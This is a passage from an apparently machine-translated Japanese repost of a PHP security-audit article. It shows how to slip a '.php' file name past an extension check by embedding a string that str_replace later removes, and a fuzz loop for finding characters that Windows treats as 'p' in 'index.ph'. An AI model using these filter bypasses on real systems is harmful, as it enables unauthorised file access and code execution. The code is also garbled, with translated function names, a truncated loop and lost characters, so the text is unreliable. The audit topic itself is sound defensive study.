多くの人が上記のコードの問題を目にしていますが、このプログラムではまず「.php」接尾辞の使用が禁止されています。ただし、以下では、実際には str_replace が接続されて webdbwwwurl を空として置き換えるので、「.pwebdbwww_urlhp」を送信することで省略できます。では、上記のコードのその他の修正はどうなるでしょうか?誰かが次のコードを与えました:
コードをコピー
..
$fileurl=str_replace($webdb[www_url],"",$url);
if( エレギ(".php",$url) )
{
死ぬ("ERR");
}
コードをコピー
str_replace は str_replace コードのセキュリティ問題を完全に解決しますが、問題はそれほど単純ではありません。次に、次のコードを見てみましょう:
コードをコピー
for($i=0;$i
{
$url = 'index.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."rn";
}
?>
わかりました
コードをコピー
上記のコードを Windows システムで実行すると、次の文字が取得されます
1.
2.
3.P
4.p
ディレクトリ内のindex.phpを開くことができます。これは、ファイル拡張子のアイデアとしてバイパスできます。
6. 新しい辞書をさらに検索する方法
上記では多くの辞書をリストしましたが、その多くはすでに公開されている脆弱性または手法です。では、さらに新しい辞書や悪用手法を見つけるにはどうすればよいでしょうか?
1. 他の人が発見した脆弱性やエクスプロイトを分析して学習し、脆弱性の種類と辞書をまとめます
2. PHP マニュアルや公式ドキュメントを調べて、新しい有害な機能や悪用方法を発見する
3. 新しい問題のある関数を見つけるためのファズ php 関数 (必ずしもオーバーフローするわけではありません) 単純なファズ スクリプトでテストできる問題はたくさんあります。
4. PHP ソース コードを分析し、新しい脆弱な機能の「機能」や脆弱性を発見します。さらに新しい辞書を見つけたい場合は、PHP ソース コードに基づいて原因を分析し、新しい脆弱性を発見します。機能の「機能」またはバグに基づいて。
5. 開発者から学ぶ条件や機会がある場合は、特定の一般的な機能を実装しているコードの欠陥や見落とされやすい問題を見つけてください

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/815134.html技術記事目次 コードのコピー 1. はじめに 2. 従来のコード監査手法 3. PHP バージョンとアプリケーション コードの監査 4. その他の要素とアプリケーション コードの監査 5. 辞書の拡張 5.1 変数自体の ke...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。